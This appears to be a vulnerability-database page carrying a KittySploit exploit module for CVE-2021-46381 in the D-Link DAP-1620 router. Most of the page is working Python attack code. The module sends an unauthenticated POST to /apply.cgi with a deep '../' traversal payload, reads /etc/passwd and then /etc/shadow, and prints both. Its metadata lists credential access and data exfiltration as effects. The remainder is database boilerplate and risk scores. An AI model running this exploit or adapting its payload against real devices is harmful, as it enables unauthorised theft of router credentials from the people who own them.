Lucene search
+L

D-Link DAP-1620 LFI (CVE-2021-46381)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Unauthenticated LFI in D-Link DAP-1620 /apply.cgi reads /etc/passwd and /etc/shadow.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DAP-1620 apply.cgi traversal LFI (CVE-2021-46381)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'D-Link DAP-1620 LFI (CVE-2021-46381)',
        'description': (
            'Exploits CVE-2021-46381 in D-Link DAP-1620: path traversal via html_response_page '
            'in POST /apply.cgi reads /etc/passwd and /etc/shadow without authentication.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-46381'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-46381'],
        'tags': ['dlink', 'router', 'lfi', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read', 'credentials'],
            'chain': {'suggested_followups': ['scanner/http/cve_2021_46381_detect']},
        },
    }

    file_path = OptString('/etc/passwd', 'Remote file to read', required=True)

    def execute(self, remote_path: str) -> str:
        depth = '../' * 16
        target = remote_path.lstrip('/')
        data = (
            'action=do_graph_auth&graph_code=94102&html_response_message=just_login'
            f'&html_response_page={depth}{target}'
            '&log_pass=DummyPass&login_n=admin&login_name=DummyName&tkn=634855349'
            '&tmp_log_pass=DummyPass&tmp_log_pass_auth=DummyPass'
        )
        r = self.http_request(
            method='POST',
            path='/apply.cgi',
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'DAP-1620 traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'DAP-1620 LFI failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('D-Link DAP-1620 not vulnerable')
            return False
        for target in (str(self.file_path or '/etc/passwd'), '/etc/shadow'):
            body = self.execute(target)
            if body:
                print_success(f'{target} — {len(body)} bytes')
                print_status(body[:2000])
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
6.4Medium risk
Vulners AI Score6.4
CVSS 25
CVSS 3.17.5
EPSS0.58882
0